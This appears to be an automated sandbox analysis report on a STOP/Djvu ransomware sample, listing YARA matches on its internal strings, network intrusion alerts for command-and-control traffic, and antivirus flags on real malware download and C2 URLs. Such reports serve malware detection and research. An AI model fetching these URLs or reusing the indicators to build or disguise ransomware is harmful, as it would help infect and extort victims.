10.2.sbvN2ih5AU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.sbvN2ih5AU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.sbvN2ih5AU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.sbvN2ih5AU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.sbvN2ih5AU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.sbvN2ih5AU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.sbvN2ih5AU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.sbvN2ih5AU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.sbvN2ih5AU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.sbvN2ih5AU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.sbvN2ih5AU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.sbvN2ih5AU.exe.25e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.sbvN2ih5AU.exe.25e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.sbvN2ih5AU.exe.25e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.sbvN2ih5AU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.sbvN2ih5AU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.sbvN2ih5AU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.sbvN2ih5AU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.sbvN2ih5AU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.sbvN2ih5AU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.sbvN2ih5AU.exe.26215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.sbvN2ih5AU.exe.26215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.sbvN2ih5AU.exe.26215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.sbvN2ih5AU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.sbvN2ih5AU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.sbvN2ih5AU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.sbvN2ih5AU.exe.26f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.sbvN2ih5AU.exe.26f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.sbvN2ih5AU.exe.26f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.sbvN2ih5AU.exe.27e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.sbvN2ih5AU.exe.27e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.sbvN2ih5AU.exe.27e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.sbvN2ih5AU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.sbvN2ih5AU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.sbvN2ih5AU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.sbvN2ih5AU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.sbvN2ih5AU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.sbvN2ih5AU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.sbvN2ih5AU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.sbvN2ih5AU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.sbvN2ih5AU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Snort Signatures

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 175.120.254.9

Timestamp:	192.168.2.4175.120.254.949737802020826 01/10/24-15:49:11.206932
SID:	2020826
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 175.120.254.9

Timestamp:	192.168.2.4175.120.254.949737802036333 01/10/24-15:49:11.206932
SID:	2036333
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 190.12.87.61

Timestamp:	192.168.2.4190.12.87.6149734802020826 01/10/24-15:49:05.292715
SID:	2020826
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 175.120.254.9

Timestamp:	192.168.2.4175.120.254.949735802833438 01/10/24-15:49:07.513555
SID:	2833438
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 190.12.87.61

Timestamp:	192.168.2.4190.12.87.6149734802036333 01/10/24-15:49:05.292715
SID:	2036333
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 175.120.254.9

Timestamp:	192.168.2.4175.120.254.949741802833438 01/10/24-15:49:14.423155
SID:	2833438
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 175.120.254.9

Timestamp:	192.168.2.4175.120.254.949733802833438 01/10/24-15:49:01.933782
SID:	2833438
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 175.120.254.9

Timestamp:	192.168.2.4175.120.254.949755802833438 01/10/24-15:49:20.115894
SID:	2833438
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sbvN2ih5AU.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://zexeq.com/files/1/build3.exe$run	URL Reputation: Label: malware
Source: http://zexeq.com/files/1/build3.exee_	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe7	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exerun	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$rune	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E830996378	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exerun	Avira URL Cloud: Label: malware
